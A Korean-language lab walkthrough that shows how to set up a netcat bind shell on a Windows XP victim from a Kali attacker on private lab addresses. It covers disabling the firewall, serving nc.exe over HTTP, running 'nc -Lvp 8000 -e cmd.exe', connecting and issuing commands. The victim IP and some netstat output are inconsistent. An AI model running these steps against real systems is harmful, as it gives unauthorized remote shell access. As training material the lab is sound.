Windows XP 에서 Bind Shell 이해하기

실습> bind shell 이해하기

bind shell은 bind connection 을 기반으로 Victim에서 포트를 열고 뒤에서 쉘이 대기하고 있다가
Attacker가 Victim으로 접속하면 쉘이 실행되는 공격 형태이다.

Attacker(Kali) : 192.168.108.102
Victim(WindowsXP) : 192.168.108.105

Windows 버전

  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |          |
|  33058 ----------------> 8000 [cmd.exe]
|          |          |          |
|          |          |          |
+----------+          +----------+
192.168.108.102       192.168.108.105
                       firewall.cpl

bind shell의 조건 : 
- Victim에 방화벽이 비활성화 되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- Victim에 포트를 열고 뒤에 쉘(cmd.exe)이 되기하고 있어야 한다.

1. Victim 방화벽 해제
Victim# firewall.cpl

2. Victim 포트 오픈
Attacker# /etc/init.d/apache2 start
Attacker# cp /usr/share/windows-binaries/nc.exe /var/www/html/

Victim에서 브라우저를 열어서 nc.exe를 다운로드 받아서 바탕화면에 저장하고 실행한다.
http://192.168.108.102/nc.exe 

아래 명령어는 nc -lvp 8000 -e cmd.exe와 동일하다.
-d : 데몬 모드
-l : 포트 오픈
-L : 포트 오픈 (무한 루프)
-v : 자세히
-p 8000 : 포트 지정 (8000)
-e cmd.exe : 쉘(cmd.exe) 실행
Cmd line: -lvp 8000 -e cmd.exe

Cmd line: -d -Lvp 8000 -e cmd.exe

3. Attacker 에서 접속
Attakcer# nc 192.168.108.105 8000

4. 포트 확인
Victim# netstat -na | findstr 8000
tcp        0      0 192.168.108.100:8000    192.168.108.102:33058   ESTABLISHED 7033/sh   

Attacker# netstat -natp | grep 8000
tcp        0      0 192.168.108.102:33058   192.168.108.100:8000    ESTABLISHED

5. 명령어 사용
Attacker# nc 192.168.108.100 8000
dir
ipconfig
net user